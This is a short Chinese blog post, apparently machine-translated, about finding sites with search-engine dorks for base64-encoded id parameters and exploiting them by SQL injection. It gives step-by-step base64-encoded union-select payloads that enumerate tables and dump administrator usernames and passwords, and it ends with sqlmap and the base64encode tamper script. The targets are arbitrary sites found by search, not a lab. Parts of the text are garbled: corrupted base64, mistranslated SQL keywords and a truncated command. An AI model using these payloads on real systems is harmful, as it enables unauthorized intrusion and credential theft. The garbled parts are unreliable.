记一次SQL注入
我们都知道SQL注入中传递的参数有些是明文,有些是编码或加密的,所以将搜索限制在inurl:php?id=1范围内,也可以尝试不搜索。您可以搜索Base64编码值MQ=1.=,即inurl:php?id=MQ==,也可以搜索md5加密值1。即可以搜索inrul:php?id。=a0b923820dcc509a。以这种方式搜索将扩大您的测试范围。这里我们使用inurl:php?id=MQ==使用SQL注入来搜索网站。
二、开始sql注入常规流程
(1) 字符类型或数字类型的判断
?id=MQ==(原始值为1)?id=MeKAmQ==(原始值为1\’)
从他们的反应就可以看出他们是数字型的。
(2)判断是否存在SQL注入漏洞
?id=MSBhbmQgMT0x (原始值1 和1=1)?id=MSBhbmQgMT0y (原始值1 和1=2)
可以确定存在SQL注入。
(3) 确定列数
?id=MSBvcmRlciBieSAz(原始值1 阶3)?id=MSBvcmRlciBieSA0(原始值1 阶4)
列数为3。
(4)判断错误。
?id=LTEgdW5pb24gc2VsZWN0IDEsMiwz(原值-1加入选择1,2,3)
明显的错位是2和3。
(5) 获取当前数据库
?id=LTEgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSwz (原值-1 Union select 1,database(),3)
(6) 获取当前数据库中的表。
id=LTEgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpLDMgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kyXRhYmFzZ Sg p
(7) 获取管理表的字段值。
id=LTEgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSwzIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNl K Ckg YW5kIHRhYmxlX25hbWU9ImFkbWluIg==
(8) 获取对应的值。
id=LTEgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJfaWQpLGdyb3VwX2NvbmNhdChwYXNzd29yZCkgZnJvbSBhZG1pbg==
三、sqlmap验证
参数需要进行base64编码,因此如果您使用sqlmap,则需要在篡改脚本中使用base64encode.py脚本。只需使用普通语句运行-tamperbase64encode.py 即可。
Python sqlmap.py -uxxxxx
x?id=MQ==–tamperbase64encode.py –dbs
Python sqlmap.py -u
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92991.html